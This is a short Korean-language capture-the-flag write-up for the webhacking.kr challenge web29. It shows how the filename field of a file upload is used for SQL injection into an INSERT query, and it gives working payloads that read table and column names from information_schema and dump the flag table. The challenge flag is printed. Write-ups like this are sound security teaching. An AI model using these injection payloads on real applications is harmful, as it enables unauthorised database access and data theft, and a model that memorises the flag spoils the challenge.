Post

Webhacking.kr - web29

web29

1
2
28번과 비슷하지만, 파일 업로드를 하면 time, ip, filename 테이블이 보여짐.
Flag는 다른 테이블에 있다고 힌트가 주어짐.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
우선 쿼리 형태가 어떻게 되어있는지 확인해야함.
burp suite를 이용해서 값을 넣어보았음.

filename="1')#" -> error가 뜸 -> filename이 끝에는 아니라는 뜻
filename="1','2','4')#"을 입력해주니 error가 뜨지 않고 입력이 되었음.
그래서 컬럼이 입력되는 순서를 알아보니 filename, time, ip 순으로 입력값을 넣어감.

따라서 쿼리는 insert into chall29(filename, time, ip) values(filename, time, ip)

이제 우리가 구해야하는 건 flag가 들어있는 테이블과 그 안에 있는 flag 값을 구하면 됨. 

filename="a.txt','1','34.240.239.233'),((select group_concat(table_name) from information_schema.columns where table_schema=database()),'2','34.240.239.233')#"
-> files,files,files,flag_congratz

filename="a.txt','1','34.240.239.233'),((select group_concat(column_name) from information_schema.columns where table_name='flag_congratz'),'2','34.240.239.233')#"
-> flag

filename="a.txt','1','34.240.239.233'),((select flag from flag_congratz),'2','34.240.239.233')#"
-> FLAG{didYouFeelConfused?_sorry:)}
This post is licensed under CC BY 4.0 by the author.